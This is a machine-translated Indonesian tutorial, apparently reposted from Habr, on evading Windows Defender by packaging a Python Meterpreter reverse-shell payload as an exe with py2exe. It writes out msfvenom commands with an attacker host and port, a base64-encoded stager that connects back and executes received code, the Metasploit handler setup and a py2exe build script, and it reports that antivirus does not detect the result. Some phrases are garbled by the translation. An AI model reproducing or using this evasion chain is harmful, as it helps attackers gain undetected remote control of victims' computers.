Bepergian Windows Defender dengan murah dan ceria: sesi meterpreter via python

gambar

Halo semuanya. Hari ini kami akan mempertimbangkan opsi untuk menjalankan sesi meter meter pada mesin Windows 10 dengan tambalan terbaru (termasuk Windows Defender). Dan kami juga akan mem-bypass antivirus. Meterpreter adalah pengisian multifungsi canggih (payload, load), yang dapat diperluas secara dinamis saat runtime. Dalam keadaan normal, ini memberi Anda shell dasar dan memungkinkan Anda untuk menambahkan fitur baru sesuai kebutuhan.
Kami akan melakukan ini menggunakan Python, dan melihat bagaimana alat antivirus berperilaku.

Memprediksi pertanyaan, “Apakah kita perlu Python di mesin korban untuk menjalankan exe?”, Saya akan segera menjawab - tidak, tidak diperlukan, semuanya sudah ada di dalam.

Pada artikel ini kita akan menggunakan:

  • Windows 10 dengan Windows Defender diaktifkan dengan basis data yang diperbarui (komputer korban 192.168.1.113);
  • Kali linux untuk menggunakan metasploit dan msfvenom (192.168.1.126);
  • Windows 10 untuk merakit biner (di laboratorium kami cocok dengan komputer korban) dengan yang diinstal;
  • Python (3, tetapi juga untuk 2 kita akan lihat);
  • py2exe .

Untuk memulainya, kami menguraikan masalah: membuat file exe dengan beban standar, menyalinnya ke mesin korban dan melihat apa yang akan terjadi.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe 

Kami menerima peringatan dari teman lama kami Windows Defender, yang sangat kami cintai.

gambar

Jika kami menanyakan VirusTotal, ia akan mengatakan yang berikut:

gambar

Mari kita jalankan Python dan lakukan apa yang kita semua lakukan bersama.

Python / meterpreter / reverse_tcp adalah paypal kerangka kerja lintas platform unik Metasploit yang memungkinkan Anda untuk mengontrol komputer dari jarak jauh. Tidak perlu memikirkan platform mana yang akan dipilih, itu akan berfungsi pada platform apa pun, tetapi dalam hal ini kita akan membuat file yang dapat dieksekusi untuknya dari Windows.

Pertama, instal paket py2exe, yang memungkinkan Anda untuk membuat eksekusi Windows dari skrip Python.

Kami akan memilikinya Python 3.4 (semua hal di atas tidak mendukung py2exe).

 py -3.4 –m pip install py2exe 

atau

 pip install py2exe 

Selanjutnya, buat kode Python mentah dengan ekstensi .py

 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py 

Juga dalam output dari msfvenom kita perlu menambahkan impor getpass, yang dia lupa lakukan sendiri. Pada akhirnya, akan menjadi seperti ini:

 import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK'))) 

Sekarang kita siap membuat biner.

 python34 -m py2exe.build_exe hunt.py --bundle-files 0 

Anda harus mendapatkan yang berikut ini:

gambar

Mari kita lihat lagi di VirusTotal:

gambar

Sudah lebih baik, sekarang mari kita periksa beraksi - setelah menyalin ke mesin korban, kami akan melakukannya tanpa peringatan.

Secara paralel, jalankan msf dan handler kami untuk python dengan menjalankan perintah berikut secara berurutan:

 msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run 

gambar

Mari kita lanjutkan dan pastikan bahwa sesi ini berfungsi dengan benar.

gambar

Dengan demikian, sesi dimulai dan Windows Defender tidak berfungsi, yang kami tuju.

Pada saat yang sama, mari kita lihat apa yang harus dilakukan jika Anda memiliki versi Python 2.

  1. Unduh py2exe untuk python 2
  2. Hasilkan payload dengan ekstensi .py
  3. Kami membuat file setup.py dan menulis yang berikut di sana:

     from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, ) 
  4.  python.exe .\setup.py py2exe 


Semuanya harus sama.

Sebagai hasilnya, saya perhatikan bahwa shell meterpreter python lebih rendah fungsinya dibandingkan dengan windows meterpreter yang lebih akrab. Sebagai contoh, Anda tidak akan dapat bermigrasi ke proses atau menggunakan perintah seperti getystem, tetapi bagaimanapun ini adalah alternatif nyata: dapatkan sesi untuk bekerja dengan msf (setidaknya routing dan portfwd) dan terus bekerja di dalam jaringan.

Source: https://habr.com/ru/post/id459168/


All Articles